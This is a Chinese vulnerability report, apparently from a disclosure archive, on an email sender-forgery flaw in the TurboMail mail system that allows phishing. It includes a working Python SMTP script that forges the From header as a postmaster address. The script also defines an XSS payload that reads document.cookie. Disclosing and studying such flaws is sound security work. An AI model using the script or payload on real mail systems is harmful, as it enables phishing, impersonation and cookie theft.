### 简要描述:
TurboMail邮件系统存在邮件伪造漏洞,可实施邮件钓鱼攻击..
### 详细说明:
TurboMail邮件系统在发送邮件时没有对邮件协议的From字段进行有效验证,发件人可以伪造任意用户进行发送邮件,达到邮件欺骗攻击的目的,可以用来进行邮件钓鱼等。
TurboMail邮件系统下载链接:http://www.turbomail.org/download.html
测试环境:Win2003 + turbomail_win_520.exe
### 漏洞证明:
本地安装Windows版本的TurboMail邮件系统
1)使用邮件系统管理用户添加2个测试账号test1@test.com和test2@test.com
[<img src="https://images.seebug.org/upload/201410/01003342a8660fcff9918ad88c3eee2c7420d2a2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/01003342a8660fcff9918ad88c3eee2c7420d2a2.png)
2)漏洞利用代码
这里直接贴上利用脚本:
```
这里直接贴上利用脚本:
#!/user/bin/python
import smtplib
import datetime
MailTemplate = '''From: {From}\nTo: {To}\nSubject: {Subject}\nDate: {Date}\nContent-type: {ContentType}\n\n{Msg}\r\n\r\n'''
payload = """<img/src/onerror=alert(document.cookie)>"""
def SendTurboMail(Server,Username,Password,Sender,Reciever,MailMsg):
try:
SmtpObj = smtplib.SMTP(Server)
SmtpObj.login(Username, Password)
print 'Sending Email'
SmtpObj.sendmail(Sender, Reciever, MailMsg)
except Exception:
print "Error: unable to send email"
return False
print "Successfully sent email"
SmtpObj.quit()
if __name__ == '__main__':
server = '192.168.43.132'
username = 'test1@test.com'
password = 'qwerty123456'
sender = 'test1@test.com'
reciever = 'test2@test.com'
subject = 'fake sender'
date = datetime.datetime.now().strftime("%a, %d %b %Y %H:%M:%S +0800")
msg = 'this a mail from ' + sender
frm = 'postmaster'+'<postmaster@root.com>' #fake sender
#frm = 'test1'+'<'+sender+'>'
to = 'test2'+'<'+reciever+'>'
mailmsg = MailTemplate.format(From=frm,To=to,Subject=subject,Date=date,ContentType='text/html',Msg=msg)
SendTurboMail(server, username, password,sender,reciever,mailmsg)
```
利用脚本实现的功能:使用账号test1@test.com(密码:qwerty123456)登录邮件系后,伪造邮件报文的frm<发送人>字段,并将邮件发送给test2@test.com用户,由于Turbomail邮件系统未对frm字段进行严格的验证,导致test2@test.com登录邮件系统后会收到一封发件人为postmaster<postmaster@root.com>管理员发送来的邮件
利用演示:
1)test1@test.com成功发送一封伪造frm字段的邮件给test2@test.com
[<img src="https://images.seebug.org/upload/201410/0100431959180307894d90c0fb41a98e2e13fbc2.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/0100431959180307894d90c0fb41a98e2e13fbc2.png)
2) test2@test.com登录邮件系统后,收到了这封test1@test.com发送的伪造邮件
[<img src="https://images.seebug.org/upload/201410/01003954256294bf446927bf44d08c3336e50d7d.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/01003954256294bf446927bf44d08c3336e50d7d.png)
暂无评论